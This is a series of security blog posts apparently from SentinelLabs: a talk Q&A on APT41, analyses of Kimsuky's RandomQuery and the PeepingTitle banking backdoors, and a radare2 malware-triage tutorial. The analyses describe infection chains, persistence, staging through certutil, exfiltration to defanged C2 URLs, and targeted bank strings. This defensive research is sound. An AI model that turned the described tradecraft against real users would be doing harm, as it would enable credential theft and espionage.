Van Ta:
So, number one, based on apt41 operations on the state benefits server, based on our understanding of the data that would be exposed to them, it’s very possible that Apt41 has the ingredients to take this in a financial gain direction. And similarly, we know that historically Apt41 has the capability to run both financial gain and espionage operations concurrently.
Van Ta:
But even with that, the data exposed is highly sensitive and still could support some sort of collection mission.
Van Ta:
Now, number two, based on APT 41, just being everywhere as we’re responding to this over a ten month time frame, their willingness to exploit anything available to immediately get back in and retarget these servers, we are confident that the real answer to why does exist out there.
Van Ta:
And lastly, and arguably most importantly, the one thing that we know about this is that APT 41 continues to remain undeterred after their September 2020 indictments.
Van Ta:
And so with that, I hope you all enjoyed this story of essentially Rufus telling me I told you so and thank you all. I will now open it up for questions.
Van Ta:
Yes. Yes. Great question. So for a lot of the exploitation, before log4j, they were crafting a majority of so serial payloads to exploit deserialization vulnerabilities against a diverse set of applications at these different governments. I don’t know if you want to add anything else. Yeah.
Speaker2:
Why? Yet like the net. They’ve been using that for a while.
Van Ta:
Yes, sir. Gentleman in the back.
Speaker3:
He.
Van Ta:
That’s a great suggestion. Thank you for that. Like we we coordinated so closely with law enforcement during this, but didn’t specifically go down that direction. But this is kind of why we like this format as well of a talk with a lot of researchers in the crowd. So we can discuss this in almost in a way crowdsource potentially that answer to why. We’re able to get almost there, but not necessarily across the finish line. But I appreciate that. Yes.
Speaker3:
Are.
Van Ta:
We. We tried to. We tried to. I’ll say that. Yeah. Anything you want. Anything else you want to add?
Rufus Brown:
No, it was just that particular map was just on like another running port on that server. And we still have questions on like what exactly that server is. And it looked like almost maybe it’s something that’s compromised compromise infrastructure. But yeah, don’t know, 100%.
Van Ta:
And I still think that there is a potential that we did stumble upon some sort of operator box. And based on the information that we have here, we have tried to work with partners that would have a deeper, deeper level of visibility into that server itself. Because again, we’re we’re mainly dealing with scan data to identify and further investigate something like that. So yeah. Any other questions? All right. Thank you all so much.
Van Ta is a Principal Threat Analyst on Mandiant’s Advanced Practices Team, where he leads historical research into the most impactful adversaries facing Mandiant’s customers. His research on various named threat actors FIN11, FIN12, FIN13, and APT41, has been referenced by both private and public organizations.
Rufus Brown is a Senior Threat Analyst on Mandiant’s Advanced Practices Team specializing in attribution and malware tradecraft. His joint research into APT41 was covered by national media outlets.
About LABScon
This presentation was featured live at LABScon 2022, an immersive 3-day conference bringing together the world’s top cybersecurity minds, hosted by SentinelOne’s research arm, SentinelLabs.
SentinelLabs has observed an ongoing campaign by Kimsuky, a North Korean APT group, targeting North Korea-focused information services, human rights activists, and DPRK-defector support organizations.
The campaign focuses on file reconnaissance and information exfiltration using a variant of the RandomQuery malware, enabling subsequent precision attacks.
Kimsuky distributes RandomQuery using Microsoft Compiled HTML Help (CHM) files, their long-running tactic for delivering diverse sets of malware.
Kimsuky strategically employs new TLDs and domain names for malicious infrastructure, mimicking standard .com TLDs to deceive unsuspecting targets and network defenders.
Overview
SentinelLabs has been tracking a targeted campaign against information services, as well as organizations supporting human rights activists and defectors in relation to North Korea. The campaign focuses on file reconnaissance, and exfiltrating system and hardware information, laying the groundwork for subsequent precision attacks. Based on the infrastructure used, malware delivery methods, and malware implementation, we assess with high confidence that the campaign has been orchestrated by the Kimsuky threat actor.
Kimsuky is a suspected North Korean advanced persistent threat (APT) group known for targeting organizations and individuals on a global scale. Active since at least 2012, the group regularly engages in targeted phishing and social engineering campaigns to collect intelligence and gain unauthorized access to sensitive information, aligning with the interests of the North Korean government.
Lately, Kimsuky has been consistently distributing custom malware as part of reconnaissance campaigns to enable subsequent attacks. For example, we recently revealed the group’s distribution of ReconShark through macro-enabled Office documents.
The campaign we discuss in this post indicates a shift towards using a variant of the RandomQuery malware that has the single objective of file enumeration and information exfiltration. This stands in contrast to recently observed RandomQuery variants supporting a wider array of features, such as keylogging and execution of further specialized malware.
RandomQuery is a constant staple in Kimsuky’s arsenal and comes in various flavors. This campaign specifically uses a VBScript-only implementation. The malware’s ability to exfiltrate valuable information, such as hardware, operating system, and file details, indicates its pivotal role in Kimsuky’s reconnaissance operations for enabling tailored attacks.
This campaign also demonstrates the group’s consistent approach of delivering malware through CHM files, such as keylogging and clipboard content theft malware. In line with their modus operandi, Kimsuky distributes the RandomQuery variant we observed through this vector.
Finally, this campaign highlights Kimsuky’s recent extensive use of less common top-level domains (TLDs) for their infrastructure, such as .space, .asia, .click, and .online. The group also uses domain names that mimic standard .com TLDs, aiming to appear legitimate.
Initial Targeting
Kimsuky makes use of specially crafted phishing emails to deploy RandomQuery. The phishing emails are sent to targets from an account registered at the South Korean email provider Daum, a standard Kimsuky phishing practice. Recent sender email addresses include bandi00413[@]daum.net.
The phishing emails, written in Korean, request the recipient to review an attached document claiming to be authored by Lee Kwang-baek, the CEO of Daily NK. Daily NK is a prominent South Korean online news outlet that provides independent reporting on North Korea, making them a prime organization for impersonation by DPRK threat actors looking to appear legitimate.
Kimsuky phishing email (in Korean)
The attached document is a CHM file stored in a password-protected archive. Aligning with the targeting focus of Kimsuky in this campaign, the lure document is entitled “Difficulties in activities of North Korean human rights organizations and measures to vitalize them” and presents a catalog of challenges pertaining to human rights organizations.
Lure document snippet (in Korean)
Consistent with known Kimsuky tactics, the CHM file contains a malicious Shortcut object that activates on the Click event. The object:
Creates a Base-64 encoded file in the %USERPROFILE%\Links\ directory, such as mini.dat.
Decodes the file using the certutil utility, creating a VB script, and then stores the script in a separate file, such as %USERPROFILE%\Links\mini.vbs.
Establishes persistence by editing the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, such that the newly created VB script is executed at system startup.
Shortcut object
The VB script issues a HTTP GET request to a C2 server URL, for example, http[://]file.com-port.space/indeed/show[.]php?query=50, and executes the second-stage payload returned from the server. Based on overlaps in code documented in previous work, we assess that the second-stage payload is a VBScript RandomQuery variant.
Execution of a RandomQuery variant
Dissecting RandomQuery
The RandomQuery variant that Kimsuky distributes first configures the Internet Explorer browser by editing registry values under HKCU\Software\Microsoft\Internet Explorer\Main:
Sets Check_Associations to no: The system does not issue a notification if Internet Explorer is not the default web browser.
Sets DisableFirstRunCustomize to 1: Prevents Internet Explorer from running the First Run wizard the first time a user starts the browser.
RandomQuery also sets the registry value HKCU\Software\Microsoft\Edge\IEToEdge\RedirectionMode to 0, which stops Internet Explorer from redirecting to the Microsoft Edge browser.
RandomQuery configures Internet Explorer
These Internet Explorer configurations enable the uninterrupted use of the browser by RandomQuery, whose earlier variants are known to use the InternetExplorer.Application object when communicating with C2 servers. However, the RandomQuery variant we analyzed does not use this object, but leverages Microsoft.XMLHTTP for this purpose.
RandomQuery then proceeds to gather and exfiltrate information about the infected platform, structured into three classes that the malware refers to as Basic System, Specific Folder, and Process List.
The malware first gathers system and hardware information using the Win32_ComputerSystem, Win32_OperatingSystem, and Win32_Processor WMI classes, such as: computer name, processor speed, OS version, and the amount of physical memory available to the system. RandomQuery refers to this information as Basic System information.
RandomQuery gathers Basic System information
RandomQuery then enumerates subdirectories and files within particular directories by specifying them using ID numbers of the Windows ShellSpecialFolderConstants enumeration: Desktop (ID 0); Documents (ID 5, for example, C:\Users\[username]\Documents); Favorites (ID 6, for example, C:\Documents and Settings\[username]\Favorites); Recent (ID 8, for example, C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Recent); Program Files (ID 38, for example, C:\Program Files); Program Files (x86) (ID 42, for example, C:\Program Files (x86) on 64-bit platforms); and %USERPROFILE%\Downloads (ID 40, for example, C:\Users\[username]\Downloads).
The malware refers to this information as Specific Folder information: It provides the attackers with a wealth of user- and platform-related information, such as installed applications, user document details, and frequented websites.
RandomQuery gathers Specific Folder information
RandomQuery also enumerates the process and session IDs of running processes using the Win32_Process WMI class. The malware refers to this information as Process List information.
RandomQuery gathers Process List information
To exfiltrate the gathered information, RandomQuery first Base64-encodes it, and then constructs and issues an HTTP POST request containing the information to a C2 server URL (for example, http[://]file.com-port.space/indeed/show[.]php?query=97). We observed that the C2 URLs RandomQuery uses for exfiltration overlap with the URLs from which RandomQuery itself is downloaded, with a difference in the value of the query parameter.
RandomQuery exfiltrates information
The variants we analyzed use c2xkanZvaXU4OTA as a boundary string separating header values from the exfiltrated information stored in the POST request. Pivoting on this string enabled us to identify additional RandomQuery variants used by Kimsuky in the past. This is a further indication of the threat group consistently using this malware in its targeted campaigns.
These variants differ to various extents from those we observed in Kimsuky’s latest campaign. This includes features such as enumeration of deployed security products, focus on Microsoft Word documents when enumerating files, and execution of additional malicious code. Kimsuky continuously adapts its RandomQuery arsenal to the task at hand, with the current iteration focussing on information exfiltration and file reconnaissance.
Infrastructure
Kimsuky has made extensive use of less common TLDs during their malicious domain registration process. In our recent reporting on Kimsuky’s ReconShark activity, we noted multiple clusters of malicious domains which made use of the same technique.
This latest campaign is tied to infrastructure abusing the .space, .asia, .click, and .online TLD’s, combined with domain names mimicking standard .com TLDs. Noteworthy examples include com-def[.]asia, com-www[.]click, and com-otp[.]click. Placed into a full URL path, an average user is less likely to spot obvious suspicious links.
Campaign-related domain registration timeline
For this latest campaign, the threat actor used the Japan-based domain registration service Onamae for primary malicious domain purchasing. This particular cluster of activity began on May 5th 2023, and continues as of this report. ABLENET VPS Hosting is used by the actor following domain registration.
Conclusion
We continue to closely monitor the persistent attacks carried out by Kimsuky and its continuously advancing attack toolkit. These incidents underscore the ever-changing landscape of North Korean threat groups, whose remit not only encompasses political espionage but also sabotage and financial threats.
It is imperative for organizations to familiarize themselves with the TTPs employed by suspected North Korean state-sponsored APTs and to adopt appropriate measures to safeguard against such attacks. The correlation between recent malicious activities and a broader range of previously undisclosed operations attributed to North Korea emphasizes the importance of maintaining a state of constant alertness and fostering collaborative efforts.
Over the first quarter of 2023, SentinelLabs observed a campaign targeting users of Portuguese financial institutions conducted by a Brazilian threat group.
The campaign is the latest iteration of a broader activity nexus dating back to 2021, now targeting the users of over 30 financial institutions.
The attackers can steal credentials and exfiltrate users’ data and personal information, which can be leveraged for malicious activities beyond financial gain.
The threat group simultaneously deploys two backdoor variants to maximize attack potency.
To ensure uninterrupted operations, the threat actor has shifted its infrastructure hosting from IaaS providers implementing stricter anti-abuse measures, such as a major US-based cloud provider, to Timeweb, a Russian IaaS provider known for its more relaxed policies.
Overview
SentinelLabs has been tracking a campaign over the first quarter of 2023 targeting users of Portuguese financial institutions, including government, government-backed, and private institutions. Based on similarities in TTPs as well as overlaps in malware implementation and functionalities reported in previous work, we assess with high confidence that the campaign has been conducted by a Brazilian threat group. This conclusion is further supported by the presence of Brazilian-Portuguese language usage within the infrastructure configurations and malware implementations. We refer to the campaign conducted by this threat group as Operation Magalenha.
The threat actor deploys two backdoor variants on each infected machine, which we collectively dubbed PeepingTitle. Based on overlaps in code and functionalities, we assess that the PeepingTitle backdoors are part of the broader Brazilian financial malware ecosystem – specifically, of the Maxtrilhafamily (named by the then-used encryption key) first observed in 2021. We therefore assess that Operation Magalenha is the latest iteration of a long-standing activity nexus.
Operation Magalenha is characterized by changes in infrastructure design, and malware implementation and deployment. The threat actor behind the operation deploys two PeepingTitle variants simultaneously on infected machines, aiming to maximize the potency of their attacks. Further, to ensure uninterrupted operations, the threat actor has strategically transitioned its infrastructure hosting to Timeweb Cloud, a Russian IaaS provider known for its lenient anti-abuse policies, diverging from primarily relying on providers implementing stricter measures, such as DigitalOcean and Dropbox.
The PeepingTitle backdoors are implemented in the Delphi programming language and feature spyware capabilities giving the attackers full control over infected machines, allowing activities such as monitoring window interaction, taking unauthorized screenshots, terminating processes and deploying further malware.
Many of the TTPs we observed relate to those discussed in previous research attributing them to Brazilian threat actors that target users not only in Portugal but also in Spain as well as Central and Latin American countries. These TTPs include the use of Delphi-implemented backdoors, URL shorteners and public file hosting services for hosting malware, and archive files and VB scripts as part of the infection vectors.
Leveraging its malware arsenal, the threat group behind Operation Magalenha can steal credentials, exfiltrate users’ data and personal information, and achieve full control over infected machines. This opens up further possibilities for the targeting of individuals or organizations, or for the exploitation of that information and data by other cybercriminal or espionage groups.
Infection Vector
Brazilian threat actors are known to distribute malware using a variety of methods, such as phishing emails, social engineering, and malicious websites delivering fake installers of popular applications.
In the context of Operation Magalenha, the infection starts with the execution of a malicious VB script, which primarily serves to download and execute a malware loader and distract users while doing so. The malware loader subsequently downloads and executes the PeepingTitle backdoors.
The VB scripts are obfuscated such that the malicious code is scattered among large quantities of code comments, which is typically pasted content of publicly available code repositories. This is a simple, yet effective technique for evading static detection mechanisms – the scripts that are available on VirusTotal feature relatively low detection ratios.
Code comments for VB script obfuscation
When executed, the VB scripts first open a TinyURL to user login sites of Energias de Portugal (EDP) and the Portuguese Tax and Customs Authority (AT – Autoridade Tributária e Aduaneira). Based on this script behavior, we suspect that the threat group behind Operation Magalenha has been delivering the scripts through EDP- and AT-themed phishing emails, aligning with a knowntactic observed among threat actors targeting Portuguese citizens.
The VB scripts serve a twofold purpose for the threat actors:
Act as a smoke screen distracting users while the scripts continue to download and execute the malware loader.
Enable the theft of EDP and AT credentials if the users enter the credentials after the malware loader has executed the PeepingTitle backdoors. This may provide the threat actor with users’ personal information. We note that users may login to the Portuguese Tax and Customs Authority in several ways, including using government-issued credentials for citizens to access not only the online services of the Authority, but also other services provided by the Portuguese state.
A user login site of Energias de Portugal A user login site of the Portuguese Tax and Customs Authority
The scripts then download to the %PUBLIC% folder an archive file that contains a malware loader. They subsequently extract the loader and delete the archive. Finally, the scripts execute the malware loader after a time interval of, for example, 5 seconds. The malware loader downloads and executes two PeepingTitle backdoor variants.
PeepingTitle
The PeepingTitle sample pairs we analyzed are Delphi executables and have compilation timestamps in April 2023. The samples share some code segments indicating that they have been developed as part of a single development effort. For example, both malware strains implement similar initialization routines, which involve evaluating the presence of the wine_get_version function in the ntdll.dll library file and establishing persistence by editing the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run registry key.
Similar to other malware used by Brazilian threat actors, the PeepingTitle backdoors contain string artifacts in Brazilian-Portuguese language.
Strings in a PeepingTitle backdoor (in Brazilian-Portuguese)
After initialization, at one second intervals the first PeepingTitle variant monitors the titles of application windows that have captured the mouse cursor. The malware first transforms a window title into a lowercase string stripped of any whitespace characters. It then checks if the transformed title contains any of the strings from a predefined set of strings related to targeted institutions. The figure below depicts PeepingTitle monitoring window titles, when a user interacts with a new Google Chrome tab and the Task Manager application, and comparing them against predefined strings.
PeepingTitle window title monitoring
The predefined strings are defined such that they are part of the browser window titles when a user visits the online resources (i.e., sites or specific online services) of predominantly Portuguese financial institutions or institutions with a presence in Portugal. These include government, government-backed, and private institutions.
The targeted sites and online services encompass a broad set of activities that users may conduct when interacting with them providing a wealth of personal user information to the threat actor, such as account registration, document overview, and credential input.
The table below lists some of the targeted institutions and services.
PeepingTitle string
Targeted institution or service
activobank
ActivoBank
aixadirecta
Caixadirecta (an online service of Caixa Geral de Depósitos, an institution owned by the Portuguese government)
articulares
Online banking sites for private users of various institutions
bancanet
Citibanamex (online banking site)
bancobest
Banco Best
bancoctt
Banco CTT
bancomer
BBVA
bankia
Bankia (currently merged with CaixaBank)
bankinter
Bankinter
bpi
Banco BPI
caempresas
Crédito Agrícola (services for corporate users)
caixaagricola
Various Mutual Agricultural Credit Banks
caixabank
CaixaBank
caixadirectaonline
Caixadirecta (a service of Caixa Geral de Depósitos)
canaisdigitais
Novobanco (online services)
caonline
Crédito Agrícola (online services)
citibanamex
Citibanamex
digitalbanking
Online banking services of various institutions
empresas
Online banking services for corporate users of various institutions
eurobic
EuroBic
homebank
Online banking pages of various institutions, such as Banco CTT and Cetelem
ingaccesoclientes
ING (login page for online banking)
internetbanking
Online banking sites of various institutions, such as the Portuguese Treasury and Public Debt Management Agency
itoagricola
Crédito Agrícola
loginmillenniumbcp
Millennium BCP (Portuguese Commercial Bank)
logintoonlinebanking
Online banking services of various institutions
montepio
Banco Montepio
netbancoempresas
Santander (online banking for corporate users)
netbancoparticulares
Santander (online banking for private users)
novobanco
Novobanco
openbank
Openbank
santander
Santander
Example targeted site: The “digital channels” subscription form of Novobanco
When a user visits a targeted online resource, PeepingTitle sets the window title monitoring interval to 5 seconds, connects to a C2 server, and exfiltrates data in an encrypted form. The data includes a timestamp, the name of the infected machine, and the captured window title, also in an encrypted form. This registers the infected machine at the C2 server.
Exfiltrated data (plaintext form)
PeepingTitle implements backdoor capabilities that allow for full control over the compromised machines, some of which are:
Process termination and screenshot capture: PeepingTitle can take screenshots of the entire screen.
Staging of further malware: This involves executing malware placed in the %PUBLIC% directory, or first downloading malware executables from attacker-controlled locations to this directory, and subsequent execution. The staged malware could implement any capabilities the threat actor may need in a given situation, such as further data exfiltration, or interaction and overlay screen capabilities to bypass multi-factor authentication. PeepingTitle supports the execution of Windows PE images and DLL files using the rundll32 Windows utility.
Reconfiguration: This includes restarting the PeepingTitle process, reconfiguring the window title monitoring interval to 1 second, and configuring the image scale of the screenshots that PeepingTitle takes.
PeepingTitle downloads and/or executes further malware
In contrast to the first variant, the second PeepingTitle variant registers the infected machine at the C2 server upon execution: The malware exfiltrates data in an encrypted form, which includes the name of the infected machine and volume serial numbers. The malware then continues to monitor for changes of the top-level window and takes a screenshot of this window whenever the user changes it.
PeepingTitle sends the screenshot to a different C2 server than the one used for registering the infected machine. The figure below depicts PeepingTitle monitoring for changes of the top-level window, when this window is first of the Task Manager application and then twice of a new Google Chrome tab – the backdoor will take a screenshot of the Google Chrome window only once.
PeepingTitle monitoring for top-level window changes
With the first PeepingTitle variant capturing the entire screen, and the second capturing each window a user interacts with, this malware duo provides the threat actor with a detailed insight into user activity. The second PeepingTitle variant implements further features, such as downloading and executing malware in the form of Windows PE images, process termination, and malware reconfiguration.
Infrastructure Analysis
Analysis of all infrastructure associated with the threat group behind Operation Magalenha revealed noteworthy changes in design for the operation. First, it is useful to understand the threat actors’ infrastructure design prior to the latest 2023 activity.
Early to mid 2022 associated activity centered primarily around abusing DigitalOcean Spaces, the S3 compatible cloud storage service, for hosting the malware used at the time – acting as download locations for target malware delivery. Specifically, bucket name and example URL originally used include:
In mid 2022, the threat group experimented with using lesser known file hosting providers, and in one case Dropbox. One provider that became increasingly popular was Timeweb, the Russian IaaS provider.
Moving into 2023, the threat group shifted from primarily using DigitalOcean Spaces to Timeweb for malware hosting and C2. Today, the actor continues to use Timeweb Cloud S3 object storage similar to how DigitalOcean was abused. Note that limited Timeweb use overlapped with DigitalOcean use since mid 2022; however, the change appears more strategic since the start of 2023. The shift away from DigitalOcean was due to increased difficulty in hosting the malware without campaign disruption.
Following this design change, a new cluster of activity can be built and linked to the same actor. The cluster makes use of new C2 servers, Timeweb Cloud malware hosting locations, and of course malware samples.
Example map of Timeweb Infrastructure use (list in IOC section)
One associated server stuck out as unique – 193.218.204[.]207, which is on AS211180 for OKLAKO. Of note, the server has open directories showing a file structure and provides us some insight into backend server design and a small number of victim hosts.
Decoded configuration file
Further clues point to Brazilian-Portuguese-speaking threat actors, such as mdfiles.php returning ARQUIVO ENVIADO! (FILE SENT!) to beaconing hosts. Additionally, the publicly available file (SHA1: dff84020be1f4691bed628d300df8a8b12a4de7e) contains Base64 data, which can be decoded to show the configuration file set to beacon to 193.218.204[.]207 while also containing Brazilian-Portuguese text for VARIABLE IS OK and UPDATE.
Decoded configuration file
Conclusion
Operation Magalenha indicates the persistent nature of the Brazilian threat actors. These groups represent an evolving threat to organizations and individuals in their target countries and have demonstrated a consistent capacity to update their malware arsenal and tactics, allowing them to remain effective in their campaigns.
Their capacity to orchestrate attacks in Portuguese- and Spanish-speaking countries in Europe, Central, and Latin America suggests an understanding of the local financial landscape and a willingness to invest time and resources in developing targeted campaigns. As such, it is important for organizations and individuals to remain vigilant and take proactive measures to protect themselves from this threat.
Indicators of Compromise
Below is a list of shortened URLs, SHA1 hashes (of scripts, archive files, and malware samples), and URLs (malware hosting and C2 server locations) associated with Operation Magalenha and related activities conducted by the threat group behind the operation dating back to 2022.
In previous posts, we’ve explored how analysts can use radare2 (aka r2) for macOS malware triage, work around anti-analysis tricks, decrypt encrypted strings, and generate function signatures and YARA rules. Like most reversing tools, radare2 can be customized and extended to increase the analyst’s productivity and make analysis and triage much faster.
In this fifth post in the series, we look at some effective ways to power up r2, providing practical examples to get you started on the path to making radare2 even more productive for macOS malware analysis. We’ll cover automation and customization via aliases, macros and functions. Along the way, we’ll also explore how we can effectively implement binary and function diffing with radare2.
Power Up Your .radare2rc Config File With Aliases & Macros
Just as most shells have a “read command” config file (e.g., .bashrc, .zshrc), so r2 has a ~/.radare2rc file in which you can define environment variables, aliases and macros. This file doesn’t exist by default so you need to create it when you make your first customizations.
It’s often said that one of the obstacles to adopting r2 is the steep learning curve, a large part of which is getting muscle-memory familiar with r2’s cryptic commands. One very fast way to flatten that curve is to define macros and aliases for new commands as you learn them – naming any hard-to-remember native commands with your own labels.
Aliases and macros are also useful for chaining oft-used commands together. If you find yourself always running the same commands as your work through your initial triage of a sample, you can save yourself some time and typing by combining those commands into one or more aliases or macros.
An r2 customization to find the entrypoint of x86 dylibs
We will look at some useful examples below, but first let’s understand the syntax for aliases and macros.
An alias is defined with a name prefixed by a $ sign, an = operator, and a value in single quotes. Values can be one or more commands, separated by a semi-colon. For example, if you struggle to remember r2’s rather cryptic command names, you could replace them with more memorable command names of your own. Create a file at ~/.radare2rc, add the following line and then save the file.
$libs=’il’
Start a new r2 session. Now, typing $libs at the r2 prompt will run the il command. You can still use il directly as well – as the name suggests, aliases are just alternative names, not replacements, for existing commands.
The $libs alias prints out the linked dynamic libraries in an executable file
From the Official Radare2 book, we learn that macros are written inside parentheses with each command separated by a semi-colon. The first item in the list is the macro name. By way of example, rather than having a $libs alias, why not print out sections and linked libraries at the same time? This example would do just that:
(secs; iS; il)
Macros are called with the syntax .(macro) like so:
Calling a macro in r2 to print out a binary’s sections and linked libraries
It’s easy to see how you can build on this idea. I use a macro called .(meta) to give me all the basic info about a file’s structure as soon as I’ve loaded it into radare2.
Get all the info you need about a file with the meta macro
This macro provides the file hashes in various algos, the compiled language, file size, sections, section entropy and the load commands. If the file under analysis is UPX packed, it will also indicate that, and if the source code is Go it displays the Go Build ID string. The macro is defined as follows, feel free to adopt or adapt it for your needs:
(meta; it; i~file; i~class; i~arch; i~lang; rh; iS md5,entropy; ih~cmd~!cmdsize; il; izz | grep -e Go\ build\ ID -we upx;)
Within the .(meta) macro, notice the command sequence ih~cmd~!cmdsize. This warrants a little explanation. Readers of our previous posts on r2 and macOS malware may recall that the tilde is r2’s internal grep function. The tilde followed by an exclamation mark ~!<expression> filters out the given expression, equivalent to grep -v. You can see the difference in the following image.
Filtering wanted and unwanted information with r2’s ~ command
Moreover, note that the .(meta) macro calls out to the system grep utility as well. The ability to utilize any command line utility on the system from within r2 is one of its major advantages over other reversing platforms.
Passing Arguments to radare2 Macros
Many of the things you can do with macros you could also do with Aliases, and vice versa; it’s largely a matter of personal preference. However, note that macros have one neat superpower – you can pass arguments to them.
Here’s a good example: r2 has a command for diffing or comparing code within a sample, either as hex or disassembly (cc and ccd). For some reason (I’m sure there’s a perfectly good one), this function counterintuitively displays the output from the first address given to the right of the output from the second address given. We can ‘correct’ this with a macro that takes the addresses as arguments but swaps their order when it passes them to cc.
(diffs x y; cc $1 @ $0)
The cc command places the output of the first address to the right of the second address. The .(diffs) macro fixes this
Incidentally, the cc command (or our reimplementation of it in a macro) can be very useful for finding common code within samples when writing YARA or other hunting rules, a topic we’ll discuss a bit further below.
Finding IP Address Patterns and Other Useful Artifacts
To find IP address patterns and other useful artifacts in a binary, you can create macros with search regexes.
Here’s a few examples to get your started.
Find IP Address Patterns:
(ip; /e /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
A sample of Atomic Stealer quickly gives up its C2 with the help of the .(ip) macro
Find Interesting Strings
Search for places where an executable gathers user and local environment information.
(reg; /e /home/i; /e /getenv/i; /e /Users/)
You can automate different searches for XOR instructions with the following r2 macro:
For the following two macros, you will need YARA installed locally on the host. This can be done with MacPorts, Homebrew or by installing from Github and following the instructions here.
With YARA installed, it is easy to call it from within r2 to see if a rule you’ve created for a sample will fire. This is a great way to develop and test rules on the fly as you triage new samples.
On my analysis machines, I have my rules stored in a subdirectory of /usr/local/bin, so my macro looks like this:
As yara is an external command, it is prefixed by an exclamation point !. This is how to tell the r2 shell that we want to call an external command line utility, a very useful feature that allows you to bring in all the power of the command line utilities at your disposal directly into r2. The -s option allows us to see which strings hit (and how many times). See man yara for more options. The `o.` command at the end of the macro is an r2 command that returns the file name of the currently loaded binary.
A simple YARA rule to detect Geacon samples called from the r2 command line
Since Apple’s own built-in malware blocking tool XProtect also uses YARA rules, you can create a macro to see whether Apple has a rule for your sample. To create an .(xp) macro to check files against Apple’s XProtect database signatures file (remember: YARA must be installed first), use the following macro:
Don’t be surprised, however, if you don’t get many matches: XProtect’s YARA signature database is thin at best.
Print Your Customizations when radare2 Starts Up
By now, you might be starting to collect quite a list of macros and aliases. How to remember them all? There’s a couple of built-in ways, and we’ll also look at one last .radare2rc customization to help us out with this, too.
From within, r2 you can see all defined aliases and macros by typing $* and (*, respectively.
Printing out aliases and macros with their values
We can also have r2 print our entire config file when it starts up by adding a further customization. At the end of the .radare2rc file, try something like this:
The sed command after the pipe prevents the last line of the file from being printed – an optional customization you can ignore if you wish. You could also just add the $* and (* commands above to the config file instead, but I like to see the whole file as a reminder of the entire environment.
It can be helpful to automatically print the entire config file out as r2 starts up
These examples should be enough to get you started creating useful aliases and macros to help speed along your own analysis.
How to Diff Binaries and Binary Functions with radare2
Aliases and macros are useful shortcuts – the command line equivalent to GUI apps’ hotkeys and key chords – but there are other, more powerful ways we can customize radare2 and drive it with custom functions and scripts.
As an example, let’s add the following function to our shell config file (e.g., ~/.zshrc or ~/.bashrc):
This leverages a radare2 tool called radiff2. This tool (among a bunch of others) is installed as part of the radare2 suite. With the function added to our shell config, we’ll start a new Terminal session and call the function directly from the command line rather than from within r2.
$ rfunc file1 file2
The rfunc() function tells us which functions match, which do not, and which are new between any two given binaries. Here’s part of the output from two very different variants of Atomic Stealer:
Two variants of Atomic Stealer. The sendlog function exfiltrates user data
To get a graphical output of how two functions differ, let’s begin by using radiff2 directly. This utility has many options and we’ll only explore a few here, but it is well worth digging into deeper.
You can compare two functions or offset addresses in two binaries with the following syntax:
$ radiff2 -g offset1,offset2 file1 file2
Or, in case both binaries use the same function name, e.g., sym._main.sendlog in our example above, you can simply provide the function name instead of the addresses:
$ radiff2 -g <function_name> file1, file2
In this example, I’ll compare the main function of two samples of Genieo adware.
Genieo samples of varying sizes
As shown in the image above, the files are quite different sizes.
$ radiff2 -g main a1219451eacd57f5ca0165681262478d4b4f829a7f7732f75884d06c2287ef6a 80573de5d79f580c32b43c82b59fbf445b91d6e106b3a4f2f67f2a84f4944433
Partial output of radiff2’s graphical diff engine
However, the output shows us that the main functions are structured identically and differ only in terms of offset addresses and certain hard coded values. This kind of information is extremely helpful for creating effective signatures for a malware family.
As radiff2 outputs to the Terminal, display can sometimes be tricky. It’s possible to leverage Graphviz and the dot and xdot utilities to produce more readable graphs. Though a deep dive into Graphviz takes us beyond the scope of this post, try installing xdot from brew install xdot and playing around with options such as these:
As xdot is Python based, I’ve found it can sometimes be temperamental when it comes to escaping strings passed from radiff2 and occassionally spits out “unknown op code” errors. When this happens, one of a few ways you can sidestep xdot and Python is as follows:
These can produce graphical diffs such as the following:
Of course, once you hit on one or more graph workflows that work for you, you can then add them as functions to your shell config file for maximum convenience. Here’s an example:
rdiff () {
if [ "$#" -eq 4 ]
then
radiff2 -A -md -g -t 100 $1,$2 $3 $4 2> /dev/null | tail -n +28 | sed 's/fillcolor="lightgray"/fillcolor="lightblue"/g' | sed 's/fillcolor="yellow",color="black"/fillcolor="#F4C2C2",color="lightgray"/g' | sed 's/"Courier"/"Poppins"/g' | sed 's/color="black"/color="lightgray"/g' | xdot -
elif [ "$#" -eq 3 ]
then
radiff2 -A -md -g -t 100 $1 $2 $3 2> /dev/null | tail -n +28 | sed 's/fillcolor="lightgray"/fillcolor="lightblue"/g' | sed 's/fillcolor="yellow",color="black"/fillcolor="#F4C2C2",color="lightgray"/g' | sed 's/"Courier"/"Poppins"/g' | sed 's/color="black"/color="lightgray"/g' | xdot -
else
echo "Wrong number of arguments supplied."
fi
}
This function allows you to specify either three args (a function name, and two filepaths) or four (two offsets, two filepaths) – beware there’s minimal error checking. Two other things of note: via the -A option, radiff2 passes the files to r2 for analysis. This can improve radiff2‘s diffing output. However, recall that our earlier customization has r2 print out our config file when it runs. We don’t want this output passed to xdot (or dot) or it will cause errors. In my case, my .radare2rc file is 27 lines long, so I use tail -n +28 to start printing from the 28th line. That number will need to be adjusted for the length of your own .radare2rc config file, and you’ll need to remember to adjust the function if you later edit the config file such that it changes length either way. Secondly, note the series of sed commands. These are a quick and dirty way to alter the default colors of the output, so adjust or remove to your liking.
Conclusion
In this post we’ve seen how we can power up radare2 by means of aliases, macros and functions. We’ve learned how these shortcuts and automations can allow us to make r2 easier and more productive to use.
That’s not all there is to powering up radare2, however, as we have yet to explore driving radare2 with scripts via r2pipe to do deeper analysis, decrypt strings and other advanced functions. We cover that in the next post, and if you didn’t already, check out our earlier posts on radare2 as well!
SentinelLabs has been tracking a social engineering campaign by the North Korean APT group Kimsuky targeting experts in North Korean affairs, part of a broader campaign discussed in a recent NSA advisory.
The campaign has the objective of stealing Google and subscription credentials of a reputable news and analysis service focusing on North Korea, as well as delivering reconnaissance malware.
Kimsuky engages in extensive email correspondence and uses spoofed URLs, websites imitating legitimate web platforms, and Office documents weaponized with the ReconShark malware.
This activity indicates Kimsuky’s growing dedication to social engineering and highlights the group’s increasing interest in gathering strategic intelligence.
Overview
